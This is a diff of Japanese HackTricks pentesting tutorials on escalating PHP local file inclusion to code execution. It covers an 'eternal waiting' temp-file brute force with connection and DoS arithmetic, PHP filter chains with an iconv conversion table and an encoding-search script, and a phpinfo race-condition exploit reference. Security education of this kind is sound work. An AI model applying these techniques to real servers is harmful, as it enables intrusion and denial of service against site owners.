<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォロー**してください**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,123 +1,102 @@
# LFI2RCEを介した永遠の待機 # LFI2RCE via Eternal waiting
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。 * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
## 基本情報 ## 基本情報
デフォルトでは、PHPにファイルがアップロードされると期待していなくても)、`/tmp`に**`php[a-zA-Z0-9]{6}`**という名前の一時ファイルが生成されますが、生成されたファイルに数字が含まれていないdockerイメージも見たことがあります。 デフォルトでは、PHPにファイルがアップロードされるとそれが期待されていなくても)、**`php[a-zA-Z0-9]{6}`**のような名前の一時ファイルが`/tmp`に生成されます。ただし、一部のDockerイメージでは、生成されたファイルに数字が含まれていないことがあります。
ローカルファイルインクルージョンでは、**アップロードされたファイルをインクルードすることに成功すれば、RCEを得ることができます**。 ローカルファイルインクルージョンでは、**そのアップロードされたファイルをインクルードできれば、RCEを取得できます**。
デフォルトでは**PHPは単一のリクエストで20ファイルのみアップロードを許可している**ことに注意してください`/etc/php/<version>/apache2/php.ini`で設定)。 デフォルトでは、**PHPは単一リクエストで20ファイルのみをアップロードできるように許可しています**`/etc/php/<version>/apache2/php.ini`で設定)。
``` ```
; Maximum number of files that can be uploaded via a single request ; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20 max_file_uploads = 20
``` ```
また、**潜在的なファイル名の数は62\*62\*62\*62\*62\*62 = 56800235584です** ### 永遠の待ち技術
### その他の技術 この技術では、**相対パスを制御するだけで済みます**。ファイルをアップロードし、**LFIを終了させないようにする**ことができれば、**アップロードされたファイルをブルートフォース攻撃**して、**アップロードされたファイルのいずれかを見つける**のに「十分な時間」があります。
その他の技術は、PHPプロトコルを攻撃することパスの最後の部分のみを制御している場合はできません、ファイルのパスを公開すること、予想されるファイルを悪用すること、または**PHPにセグメンテーションフォールトを引き起こしてアップロードされた一時ファイルが削除されないようにする**ことに依存しています。\ **この技術の利点**:
この技術は**最後のものと非常に似ていますが、ゼロデイを見つける必要はありません**。
### 永遠の待機技術 - include内で相対パスを制御するだけで済む
- nginxやログファイルへの予期せぬアクセスレベルは必要ない
- セグメンテーション違反を引き起こすための0日が必要ない
- パスの開示が必要ない
この技術では**相対パスのみを制御する必要があります**。ファイルをアップロードして**LFIを終わらせない**ようにすることができれば、「十分な時間」があり、アップロードされたファイルを**ブルートフォース**して、アップロードされたものを**見つける**ことができます。 この技術の**主な問題点**は:
**この技術の利点** - 特定のファイルが存在する必要がある(他にもあるかもしれない)
- **潜在的なファイル名の膨大な数**: **56800235584**
- サーバーが**数字を使用していない**場合、合計潜在的な数は: **19770609664**
- デフォルトでは**1リクエストで最大20ファイル**しかアップロードできない。
- 使用されているサーバーの**最大並列ワーカー数**。
- これらの制限により、この攻撃が長引く可能性があります
- **PHPリクエストのタイムアウト**。理想的には永久にするか、PHPプロセスを削除せずに一時的にアップロードされたファイルを削除する必要があります。そうでない場合、これも問題になります
* include内で相対パスのみを制御する必要があります では、どのようにして**PHP includeを終了させないように**できるでしょうか?単に、ファイル **`/sys/kernel/security/apparmor/revision`** をインクルードするだけです(**Dockerコンテナでは利用できません**残念ながら...)。
* nginxやログファイルへの予期しないアクセスレベルは必要ありません
* セグメンテーションフォールトを引き起こすための0デイは必要ありません
* パスの公開は必要ありません
この技術の**主な問題点**は以下の通りです: 試してみるには、次のように呼び出してください:
* 特定のファイルが存在する必要があります(もっとあるかもしれません)
* 潜在的なファイル名の**狂気の**量:**56800235584**
* サーバーが数字を**使用していない場合**、潜在的な総数は:**19770609664**
* デフォルトでは**単一のリクエストで20ファイル**のみがアップロードできます。
* 使用されるサーバーの**最大並列ワーカー数**。
* この制限と前述の制限により、この攻撃があまりにも長く続く可能性があります
* **PHPリクエストのタイムアウト**。理想的にはこれは永遠であるべきですし、PHPプロセスを削除せずに一時アップロードファイルを削除せずにPHPプロセスを終了させるべきですが、そうでなければこれも問題になります
では、どうやって**PHP includeを永遠に終わらせない**ようにするのでしょうか?ファイル**`/sys/kernel/security/apparmor/revision`**を含めるだけです(残念ながら**Dockerコンテナでは利用できません**...)。
以下を試してみてください:
```bash ```bash
php -a # open php cli php -a # open php cli
include("/sys/kernel/security/apparmor/revision"); include("/sys/kernel/security/apparmor/revision");
``` ```
## Apache2 ## Apache2
デフォルトでは、Apacheは**150の同時接続**をサポートしていますが、[https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/)に従って、この数を最大8000まで増やすことが可能です。このモジュールをPHPで使用するには、次のリンクを参照してください[https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。 デフォルトでは、Apacheは**150の同時接続**をサポートしています。[https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/)に従って、この数を最大8000までアップグレードすることが可能です。PHPをそのモジュールと共に使用するには、[https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)に従ってください。
デフォルトでは(私のテストで見る限り)、**PHPプロセスは永遠に続く**可能性があります。 デフォルトでは(私のテストで確認できるように)、**PHPプロセスは永遠に続く**ことができます。
いくつかの計算しましょう: 計算してみましょう:
* **149の接続**を使用して、ウェブシェルを含む**2980の一時ファイル**を生成できます149 * 20 = 2980 - **149の接続**を使用して、**149 \* 20 = 2980個の一時ファイル**をWebシェルで生成できます
* 次に、**最後の接続**を使用して、潜在的なファイルを**ブルートフォース**します。 - 次に、**最後の接続**を使用して、潜在的なファイルを**ブルートフォース**します。
* **10リクエスト/秒**の速度で、時間は以下の通りです: - **10リクエスト/秒**の速度で、時間は次のようになります:
* 56800235584 / 2980 / 10 / 3600 ≈ **530時間**50%の確率で265時間 - 56800235584 / 2980 / 10 / 3600 ≈ **530時間**50%の確率で265時間
* (小数点なしで19770609664 / 2980 / 10 / 3600 ≈ 185時間50%の確率で93時間 - (小数点以下を無視19770609664 / 2980 / 10 / 3600 ≈ 185時間50%の確率で93時間
{% hint style="warning" %} {% hint style="warning" %}
前述の例では、他のクライアントを**完全にDoS攻撃している**ことに注意してください! 前述の例では、**他のクライアントを完全にDoS攻撃**していることに注意してください!
{% endhint %} {% endhint %}
Apacheサーバーが改善され、**4000の接続**(最大数の半分)を悪用できる場合、`3999*20 = 79980`の**ファイル**を作成でき、**数**は約**19.7時間**または**6.9時間**10時間、50%の確率で3.5時間)に**削減**されます。 Apacheサーバーが改善され、**4000の接続**を悪用できるようになれば(最大数の半分まで)、`3999*20 = 79980` **ファイル**を作成し、**数**は約**19.7時間**または**6.9時間**10時間、3.5時間50%の確率)に短縮されます。
## PHP-FMP ## PHP-FMP
通常のphp modを使用する代わりに、**ウェブページが** **PHP-FMP**を使用している場合(これによりウェブページの効率が向上するため、よく見られます)、技術を改善するために別のことができます。 Apacheの通常のphpモジュールを使用する代わりに、**webページがPHP-FMPを使用している場合**これはWebページの効率を向上させるため、一般的に見つけることができます、テクニックを改善するために他にもできることがあります。
PHP-FMPは、**`/etc/php/<php-version>/fpm/pool.d/www.conf`**で**`request_terminate_timeout`**という**パラメータ**を**設定**できます。\ PHP-FMPは、**`/etc/php/<php-version>/fpm/pool.d/www.conf`**で**`request_terminate_timeout`**パラメータを**設定**できます。\
このパラメータは、**PHPへのリクエストが終了するべき最大秒数**を示します(デフォルトでは無限ですが、パラメータがコメント解除されている場合は**30秒**。PHPが指定された秒数処理しているリクエストは**終了**します。つまり、リクエストが一時ファイルをアップロードしていた場合、**PHP処理が停止された**ため、それらの**ファイルは削除されません**。したがって、リクエストをその時間だけ続けることができれば、削除されない**数千の一時ファイル**を**生成**でき、それらを見つけるプロセスが**速くなり**、すべての接続を消費してプラットフォームにDoSを引き起こす可能性が減ります。 このパラメータは、PHPへのリクエストが終了する必要がある最大秒数を示しますデフォルトでは無限ですが、パラメータがコメントアウトされている場合は**30秒**。PHPによってリクエストが処理されている間に、指定された秒数が経過すると、それが**中断**されます。つまり、リクエストが一時ファイルをアップロードしていた場合、**php処理が停止**されたため、それらの**ファイルは削除されません**。したがって、リクエストをその時間だけ続けることができれば、削除されない**数千の一時ファイル**を生成でき、それによりそれらを見つけるプロセスが**高速化**され、すべての接続を消費してプラットフォームにDoSを引き起こす確率が低下します。
DoSを**避ける**ために、攻撃者が同時に**100の接続**のみを使用し、**php-fmp**によるphpの最大処理時間`request_terminate_timeout`**)**が**30秒**であると仮定しましょう。したがって、**秒間**に生成できる**一時ファイル**の数は`100*20/30 = 66.67`です。 したがって、DoSを**回避**するために、**攻撃者が同時に100の接続しか使用しない**と仮定し、php-fmpによるphp最大処理時間`request_terminate_timeout`)が**30秒**であるとします。したがって、**1秒あたり**に生成できる**一時ファイル**の数は`100*20/30 = 66.67`です。
その後、攻撃者は**10000ファイル**を生成するために:**`10000/66.67 = 150秒`**が必要です(**100000ファイル**を生成する時間は**25分**です)。 その後、**10000個のファイル**を生成するには、攻撃者が必要とする時間は:**`10000/66.67 = 150秒`**です(**100000個のファイル**を生成するには、時間は**25分**になります)。
次に、攻撃者はそれらの**100の接続**を使用して**ブルートフォース検索**を実行できます。**** 300 req/sの速度を仮定すると、この利用に必要な時間は以下の通りです: その後、攻撃者はこれらの**100の接続**を使用して**検索ブルートフォース**を実行できます。**300リクエスト/秒**の速度を仮定すると、この攻撃を実行するために必要な時間は次のとおりです:
* 56800235584 / 10000 / 300 / 3600 ≈ **5.25時間**50%の確率で2.63時間) - 56800235584 / 10000 / 300 / 3600 ≈ **5.25時間**50%の確率で2.63時間)
* 100000ファイルで56800235584 / 100000 / 300 / 3600 ≈ **0.525時間**50%の確率で0.263時間) - 100000個のファイルを使用する場合56800235584 / 100000 / 300 / 3600 ≈ **0.525時間**50%の確率で0.263時間)
はい、EC2の中サイズインスタンスで100000の一時ファイルを生成することは可能です: はい、EC2中サイズのインスタンスで100000個の一時ファイルを生成することが可能です:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %} {% hint style="warning" %}
タイムアウトをトリガーするには、脆弱なLFIページを含めるだけで十分であり、それによって永遠のインクルードループに入ることに注意してください タイムアウトをトリガーするには、**脆弱なLFIページを含めるだけで十分**です。これにより、永遠にインクルードループに入ります
{% endhint %} {% endhint %}
## Nginx ## Nginx
デフォルトでは、Nginxは同時に**512の並行接続**をサポートしているようです(この数は改善可能です)。 デフォルトでは、Nginxは**同時に512の接続**をサポートしているようです(この数は改善できます)。
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -1,50 +1,50 @@
# LFI2RCE via PHPフィルター # PHPフィルタを使用したLFI2RCE
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。 - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
## イントロ ## イントロ
この[**ライトアップ**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成**できることを説明しています。これは基本的に、ファイルに書き込むことなく、**任意のphpコードを生成**できることを意味します。 この[**解説**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルタを使用して任意のコンテンツを生成**して出力できることを説明しています。基本的には、**ファイルに書き込む必要なしに**、**任意のphpコードを生成**できます。
スクリプトの目的は、最終的にデコードされ、`include`によって解釈される望ましいペイロードを提供するファイルの**始めにBase64**文字列を**生成する**ことです。 スクリプトの目標は、ファイルの**先頭にBase64**文字列を生成し、最終的には**デコード**して、`include`によって**解釈される望ましいペイロード**を提供することです。
これを行う基礎は以下の通りです: これを行うための基本は次のとおりです:
* `convert.iconv.UTF8.CSISO2022KR`は常に文字列に`\x1b$)C`を前置します - `convert.iconv.UTF8.CSISO2022KR`は常に文字列に`\x1b$)C`を先頭に追加します
* `convert.base64-decode`は非常に寛容で、有効なbase64でない文字は基本的に無視します。予期しない"="が見つかると問題が発生することがありますが、`convert.iconv.UTF8.UTF7`フィルターで削除できます。 - `convert.base64-decode`は非常に寛容であり、有効なbase64でない文字を無視します。予期しない"="が見つかると問題が発生しますが、これらは`convert.iconv.UTF8.UTF7`フィルタで削除できます。
任意のコンテンツを生成するループは以下の通りです: 任意のコンテンツを生成するためのループは次のとおりです:
1. 上記のように文字列に`\x1b$)C`を前置する 1. 上記のように文字列に`\x1b$)C`を先頭に追加する
2. 初期のbase64をそのままにして、先ほど前置した部分を、base64エンコードされたphpコードの次の部分が唯一有効なbase64文字である文字列に変換するいくつかのiconv変換チェーンを適用する 2. 初期のbase64をそのままにして、追加した部分を次のbase64エンコードされたphpコードの次の部分が有効なbase64文字だけの文字列に変換するiconv変換の連鎖を適用する
3. 文字列をbase64デコードしてからbase64エンコードすることで、間のゴミを取り除く 3. 文字列をbase64デコードしてエンコードし、間にあるゴミを削除する
4. まだ構築したいbase64が完成していない場合は、1に戻る 4. 構築したいbase64がまだ完成していない場合は、1に戻る
5. phpコードを取得するためにbase64デコードする 5. phpコードを取得するためにbase64デコードする
{% hint style="warning" %} {% hint style="warning" %}
**Includes**は通常、ファイルの末尾に".php"を**追加する**などのことを行いますが、これはファイルに.phpが必要で、その内容がエクスプロイトを破壊しないものである必要があるため、この利用を難しくする可能性があります... または、名前に何でも追加できる(例えば+".php")リソースとして`php://temp`を**使用することができます**、そしてそれは依然としてエクスプロイトが機能することを許可します! **インクルード**は通常、ファイルの末尾に".php"を追加するなどの処理を行います。これにより、この悪用が困難になる可能性があります...または**リソースとして`php://temp`を使用**することもできます。これは名前に何かが追加されても(例:+".php")、悪用を可能にします!
{% endhint %} {% endhint %}
## 結果のデータにも接尾辞を追加する方法 ## 結果データにサフィックスを追加する方法
[**このライトアップは説明しています**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)、PHPフィルターを悪用して結果の文字列に接尾辞を追加する方法 [**この解説**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)は、PHPフィルタを引き続き悪用して、結果の文字列にサフィックスを追加する方法を説明しています
## 自動ツール ## 自動ツール
* [https://github.com/synacktiv/php\_filter\_chain\_generator](https://github.com/synacktiv/php\_filter\_chain\_generator) - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
* [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) (接尾辞を追加できます) - [https://github.com/ambionics/wrapwrap](https://github.com/ambionics/wrapwrap)(サフィックスを追加できます)
## 完全なスクリプト ## 完全なスクリプト
```python ```python
@ -108,7 +108,7 @@ print(r.text)
``` ```
### 改善点 ### 改善点
前のスクリプトは、そのペイロードに必要なbase64文字に限定されています。したがって、**すべてのbase64文字をブルートフォースする**ために、私自身のスクリプトを作成しました: 前のスクリプトは、そのペイロードに必要なbase64文字に制限されています。そのため、私は自分自身のスクリプトを作成して、**すべてのbase64文字をブルートフォースする**ようにしました。
```php ```php
conversions = { conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -177,7 +177,7 @@ conversions = {
'=': '' '=': ''
} }
``` ```
以下は、各b64文字を生成するエンコーディングを取得するための**スクリプト**です: 以下は、各b64文字を生成するエンコーディングを取得する**スクリプト**です:
```php ```php
<?php <?php
@ -263,20 +263,20 @@ find_vals($init);
} }
?> ?>
``` ```
## その他の参考資料 ## より多くの参考文献
* [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) * [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する** * **HackTricks** および **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -7,35 +7,35 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
</details> </details>
この脆弱性を悪用するには、**LFI脆弱性、phpinfo()が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込みできる必要があります。** この脆弱性を悪用するには、**LFI脆弱性、phpinfo() が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込る必要があります。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s) **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
この脆弱性を修正する必要があります(**=>**を**=>**に変更)。修正するには、次の操作を行うことができます: この脆弱性を修正する必要があります(**=>****=>** に変更)。修正するには、以下を実行できます:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
### 理論 ### 理論
PHPでアップロードが許可されている場合、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。 PHPでアップロードが許可されており、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後一時ファイルは削除されます。
その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。 その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。 **Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
**Linux**では、ファイルの名前は通常**ランダム**であり、**/tmp**にあります。名前がランダムであるため、**一時ファイルの名前をどこかから抽出**し、ファイルが削除される前にアクセスする必要があります。これは、関数**"phpconfig()"**のコンテンツ内の**変数$\_FILES**の値を読み取ることで行うことができます。 **Linux**では、ファイルの名前は通常**ランダム**であり、**/tmp**にあります。名前がランダムであるため、**一時ファイルの名前をどこかから抽出**し、削除される前にアクセスする必要があります。これは、関数**"phpconfig()"**のコンテンツ内の**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()** **phpinfo()**
